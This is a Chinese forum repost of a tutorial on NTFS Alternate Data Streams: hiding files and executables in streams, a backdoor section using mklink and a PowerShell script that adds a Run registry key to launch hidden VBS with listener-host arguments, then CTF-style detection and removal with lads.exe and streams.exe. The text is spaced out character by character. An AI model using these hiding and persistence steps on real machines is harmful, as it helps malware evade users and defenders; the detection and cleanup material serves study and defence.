搜索

[21013] 2020-05-08_NTFS交换数据流隐写的应用

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2020-05-08_NTFS交换数据流隐写的应用 N T F S 交 换 数 据 流 隐 写 的 应 用 L e m o n S e c   2 0 2 0 - 0 5 - 0 8 一 、 N T F S 交 换 数 据 流 （ A D S ） 简 介             在 N T F S 文 件 系 统 中 存 在 着 N T F S 交 换 数 据 流 （ A l t e r n a t e   D a t a   S t r e a m s ， 简 称 A D S ） ， 这 是 N T F S 磁 盘 格 式 的 特 性 之 一 。 每 一 个 文 件 ， 都 有 着 主 文 件 流 和 非 主 文 件 流 ， 主 文 件 流 能 够 直 接 看 到 ； 而 非 主 文 件 流 寄 宿 于 主 文 件 流 中 ， 无 法 直 接 读 取 ， 这 个 非 主 文 件 流 就 是 N T F S 交 换 数 据 流 。             A D S 的 作 用 在 于 ， 它 允 许 一 个 文 件 携 带 着 附 加 的 信 息 。 例 如 ， I E 浏 览 器 下 载 文 件 时 ， 会 向 文 件 添 加 一 个 数 据 流 ， 标 记 该 文 件 来 源 于 外 部 ， 即 带 有 风 险 ， 那 么 ， 在 用 户 打 开 文 件 时 ， 就 会 弹 出 文 件 警 告 提 示 。 再 如 ， 在 网 址 收 藏 中 ， 也 会 附 加 一 个 f a v i c o n 数 据 流 以 存 放 网 站 图 标 。             A D S 也 被 用 于 一 些 恶 意 文 件 隐 藏 自 身 , 作 为 后 门 。   # # # # 二 、 A D S 应 用         * * 最 好 在 管 理 员 模 式 下 操 作 （ 需 要 文 件 的 写 权 限 ）         * * 格 式 为           宿 主 文 件 : 关 联 的 数 据 流 文 件         1 . 向 A D S 中 写 入 文 本 文 件 首 先 需 要 创 建 一 个 文 本 文 件 ， 这 里 的 测 试 文 件 是 0 0 1 . t x t 然 后 向 这 个 文 件 写 入 A D S e c h o   " B a o l i m o "   >   0 0 1 . t x t : h i d d e n . t x t / * e c h o   " 隐 藏 内 容 "   > 宿 主 文 件 ： 关 联 文 件 * / 可 以 看 到 ， 文 件 字 节 没 有 改 变 ， 但 是 时 间 改 动 了 。 还 可 以 使 用 t y p e 命 令 ， 将 已 经 存 在 的 文 件 附 加 上 去 。   t y p e   " t e s t 0 0 2 . t x t "   >   " 0 0 1 . t x t " : " t e s t 0 0 2 . t x t " / * t y p e   " 要 隐 藏 的 附 加 文 件 " > " 宿 主 文 件 " : " 要 隐 藏 的 附 加 文 件 " 最 好 使 用 引 号 括 起 来 ， 否 则 会 引 起 误 解 * / 2 、 向 A D S 中 写 入 图 像 / 音 频 / 可 执 行 文 件 类 似 于 写 入 文 本 文 件 ， 可 以 使 用 如 下 命 令 ：   t y p e   " h i d d e n . j p g "   >   " t a r g e . j p g " : " h i d d e n . j p g " t y p e   " h i d d e n . m p 4 "   >   " t a r g e . j p g " : " h i d d e n . m p 4 "
t y p e   " h i d d e n . e x e " > > " t a r g e . t x t " : " h i d d e n . e x e " t y p e   " h i d d e n . e x e " > > " t a r g e . e x e " : " h i d d e n . e x e "   3 . 在 W i n d o w s 平 台 下 使 用 A D S 构 造 后 门             在 W i n d o w s   X P 中 ， 可 执 行 文 件 可 以 隐 藏 并 且 被 执 行 。 但 是 ， 微 软 已 经 发 现 了 这 个 问 题 并 进 行 了 修 复 ， 目 前 在 W i n d o w s V i s t a 及 后 续 系 统 中 已 经 无 法 直 接 运 行 A D S 中 的 可 执 行 文 件 了 。                         我 们 可 以 使 用 m k l i n k 命 令 来 建 立 一 个 链 接 ， 但 必 须 要 管 理 员 权 限 才 能 完 成 。 m k l i n k   D : m o h a . e x e   " h i d d e n . t x t " : m o h a . e x e 这 里 有 一 个 在 普 通 用 户 权 限 下 也 可 操 作 的 方 法 ， 使 用 P o w e r s h e l l 的 脚 本 。             项 目 地 址             这 个 脚 本 只 有 两 个 参 数 ：             A r g u m e n t s   “ B a d F u n c t i o n   - L h o s t   1 9 2 . 1 6 8 . 1 . 1 1   - L P o r t   3 3 3 3   - P a y l o a d   w e e e e e e ”             - U R L 即 p a y l o a d ， - A r g u m e n t s 是 P a y l o a d 所 需 要 的 参 数 。             这 个 后 门 被 运 行 后 ， 会 在 注 册 表 下             H K C U : S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n 中 建 立 一 个 键 值 为 u p d a t e 的 键 ， 注 册 表 的 键 值 调 用 w s c r i p t . e x e 来 执 行 隐 藏 的 V B S 。 执 行 完 毕 后 ， V B S 脚 本 会 解 析 执 行 在 A p p D a t a 目 录 下 的 p a y l o a d （ 当 然 ， 是 隐 藏 的 ） 。             具 体 内 容 参 考 作 者 的 文 章 。             在 W i n d o w s 1 0 下 ， 这 个 方 法 已 经 意 义 不 大 了 ， W D 会 对 该 脚 本 进 行 查 杀 。 不 过 也 可 以 考 虑 W i n r a r 自 解 压 文 件 ， 但 是 这 个 方 法 … … 呃 … …             从 目 前 公 开 的 资 料 来 看 ， 对 A D S 的 利 用 主 要 集 中 于 W e b 方 面 ， 但 是 我 暂 时 不 打 算 发 展 这 方 向 的 ， 这 一 块 以 后 写 一 写 。   4 . G e t s h e l l （ 待 完 成 ）   # # # # 三 、 N T F S 交 换 数 据 流 在 C T F 中 的 应 用 — — 查 看 A D S 内 容     * * 如 果 文 件 原 本 是 在 压 缩 包 内 的 ， 这 时 使 用 除 W i n R A R 以 外 的 软 件 进 行 提 取 会 造 成 数 据 流 丢 失 。 所 以 务 必 使 用 W i n R a r 进 行 文 件 解 压 。     * * 最 好 不 使 用 C M D 命 令 （ n o t e p a d ） 查 看 ， 这 些 命 令 对 A D S 的 支 持 不 是 很 好 。   1 . 使 用 工 具 查 看         使 用 工 具 查 看 是 最 快 捷 方 便 的 方 法 了 ， 可 以 使 用 N T F S   S t r e a m s   I n f o 这 个 软 件 进 行 查 看 ， 但 似 乎 是 收 费 的 。         地 址 ： h t t p s : / / n t f s - s t r e a m s - i n f o . e n . s o f t o n i c . c o m /         在 做 C T F 题 时 ， 我 用 的 是 N t f s   S t r e a m s   E d i t o r 这 个 软 件 。
网 盘 下 载 ： h t t p : / / p a n . b a i d u . c o m / s / 1 c 2 z b N a C   2 . 使 用 l a b s 网 盘 下 载 ： h t t p : / / p a n . b a i d u . c o m / s / 1 s l T J w M p 将 l a b s . e x e 放 入 需 要 检 测 的 文 件 的 所 在 目 录 下 。 l a d s . e x e   F i l e   / S / * 这 条 命 令 会 检 测 F i l e 这 个 目 录 下 所 有 文 件 的 隐 藏 流 文 件 * / l a d s . e x e   / S / * 检 测 根 目 录 下 的 隐 藏 流 文 件 * / 可 以 清 楚 地 看 到 0 0 1 . t x t 有 着 一 个 A D S ： t e s t 0 0 2 . t x t 。 知 道 了 H i d d e n 的 文 件 ， 就 可 以 进 行 查 看 了 。 n o t e p a d . e x e   t e s t . t x t : h i d d e n . t x t m s p a i n t . e x e   t e s t . t x t : h i d d e n . j p g
# # # 四 、 清 除 A D S   这 里 可 以 采 用 之 前 的 N t f s   S t r e a m s   E d i t o r 这 个 软 件 直 接 删 除 A D S 文 件 。   也 可 以 用 s t r e a m s . e x e 进 行 清 除 。 s t r e a m s . e x e   - d   < F i l e > 若 出 现   E r r o r   d e l e t i n g ， 说 明 这 个 进 程 还 在 运 行 ， 需 要 先 结 束 该 进 程 再 进 行 删 除 操 作 。 文 章 来 源 ： h t t p s : / / w w w . c n b l o g s . c o m / C h e s k y / p / A L T E R N A T E _ D A T A _ S T R E A M S . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理